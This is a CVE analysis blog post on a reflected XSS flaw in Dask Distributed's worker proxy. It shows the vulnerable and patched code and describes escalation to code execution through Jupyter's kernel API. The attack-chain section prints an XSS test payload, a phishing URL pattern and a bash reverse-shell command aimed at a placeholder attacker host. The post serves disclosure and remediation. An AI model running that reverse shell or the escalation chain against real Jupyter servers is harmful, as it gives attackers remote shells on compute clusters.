Dask Distributed: When 'Worker Not Found' Means 'Shell Found'
Jan 16, 2026·5 min read
Executive Summary (TL;DR)
Dask Distributed < 2026.1.0 reflects the worker hostname in error messages without sanitization. In Jupyter environments using `jupyter-server-proxy`, this allows attackers to inject JavaScript that talks to the Jupyter API, upgrading a simple XSS into full Remote Code Execution (RCE).
A classic reflected Cross-Site Scripting (XSS) vulnerability in Dask Distributed turns deadly when paired with Jupyter Lab. By failing to sanitize error messages involving non-existent workers, attackers can piggyback on the Jupyter origin to execute arbitrary Python code on the server.
The Hook: Parallel Computing, Serial Failure
Dask is the heavy lifter of the Python world. It takes code meant for a single laptop and scales it across a cluster of thousand-dollar servers. It’s brilliant, complex, and like all complex machinery, it has a dashboard. Developers love dashboards. They love seeing those progress bars fill up. But here's the kicker: Dask is often deployed right alongside Jupyter Lab, the de facto standard for data science.
Usually, these two play nice. Jupyter handles the code, Dask handles the scale. To make life easier, the jupyter-server-proxy extension often stitches them together, serving the Dask dashboard on the same domain as your Jupyter instance. It’s a convenience feature—a tunnel through the firewall of complexity.
But convenience is the mortal enemy of security. CVE-2026-23528 is what happens when a developer trusts the URL bar a little too much. It’s a reflected XSS vulnerability, which usually warrants a polite yawn and a Jira ticket. However, because of that shared origin with Jupyter, this isn't just an alert box popping up. It's a skeleton key to the server's terminal.
The Flaw: Trusting the URL
The vulnerability lives in distributed/http/proxy.py, specifically within the ProxyHandler. This handler is responsible for proxying requests from the main scheduler to individual workers. It needs to know which worker you want to talk to, so it parses the URL. Standard stuff.
Here’s the logic: You ask for a worker. The code checks if that worker exists in the scheduler's registry. If the worker is missing (maybe it crashed, or maybe you made a typo), the code decides to be helpful and tell you exactly what went wrong.
[!WARNING] The fatal mistake was taking the input provided by the user (the worker address) and shoving it directly into the HTML response without scrubbing it first.
It’s the digital equivalent of a parrot that repeats everything you say, even if you’re shouting curse words at a funeral. By feeding the server a 'worker' name that is actually a chunk of malicious JavaScript, the server politely writes that script into the error page and sends it back to the victim's browser.
The Code: The Smoking Gun
Let's look at the autopsy. The vulnerable code in http_get was shockingly simple. It grabbed the host and port, formatted them into a string, and if the worker wasn't found, it echoed that string back.
Vulnerable Code (distributed/http/proxy.py):
worker = f"{self.host}:{port}"
if not check_worker_dashboard_exits(self.scheduler, worker):
# The line below is the killer.
# 'worker' contains raw user input from the URL.
msg = "Worker <%s> does not exist" % worker
self.set_status(400)
self.finish(msg) # <--- Browser executes this as HTML
returnIf I send a request claiming the worker is <script>alert(1)</script>, the server responds with Worker <<script>alert(1)</script>> does not exist. The browser sees the script tags and executes them.
The Fix:
The patch is equally simple. It introduces html.escape, forcing the browser to treat the input as text, not code.
import html
# ...
if not check_worker_dashboard_exits(self.scheduler, worker):
# Now safely escaped
msg = f"Worker <{html.escape(worker)}> does not exist"
self.set_status(400)
self.finish(msg)
returnThe Exploit: From XSS to RCE
Here is where the story gets dark. A reflected XSS on a random marketing site is annoying. A reflected XSS on a Jupyter instance is catastrophic. Why? Because Jupyter is designed to run code. It has a REST API specifically for spawning kernels and executing Python.
The Attack Chain:
- Phishing: The attacker sends a Data Scientist a link:
http://localhost:8888/proxy/8787/proxy/9999/<script>...payload...</script>/status. - Reflection: The victim clicks. The request hits the Dask scheduler (proxied via Jupyter). The scheduler sees a non-existent worker and reflects the payload.
- Execution: The script runs in the victim's browser. Crucially, it runs on the origin
localhost:8888(or whatever the corporate Jupyter domain is). - Escalation: The script automatically issues a
POSTrequest to Jupyter's/api/kernelsto create a new Python kernel. It authenticates using the victim's existing session cookies (SOP allows this because we are on the same origin). - Detonation: The script opens a WebSocket to the new kernel and sends:
import os os.system('bash -i >& /dev/tcp/attacker.com/443 0>&1')
And just like that, the attacker has a reverse shell on the compute cluster. All because the Dask dashboard didn't escape a string.
The Fix: Update or Die
The remediation path here is straightforward, but urgency is key. If you are running Dask Distributed exposed to the web (even behind a login like JupyterHub), you are vulnerable.
Immediate Action:
Update distributed to version 2026.1.0 or higher. The patch was released on January 16, 2026.
pip install "distributed>=2026.1.0"
# OR
conda install "distributed>=2026.1.0"Defense in Depth:
This vulnerability highlights the danger of proxying applications on the same origin. If possible, configure jupyter-server-proxy or your ingress controller to serve the proxy on a subdomain (e.g., dask-dashboard.jupyter.corp.com) rather than a subpath. This isolates the origins and prevents the XSS from accessing the Jupyter API cookies.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
distributed dask | < 2026.1.0 | 2026.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS v4.0 | 5.3 (Medium) - Context Dependent High |
| Attack Vector | Network (Reflected XSS) |
| Privileges Required | None (Victim interaction required) |
| User Interaction | Required (Phishing) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.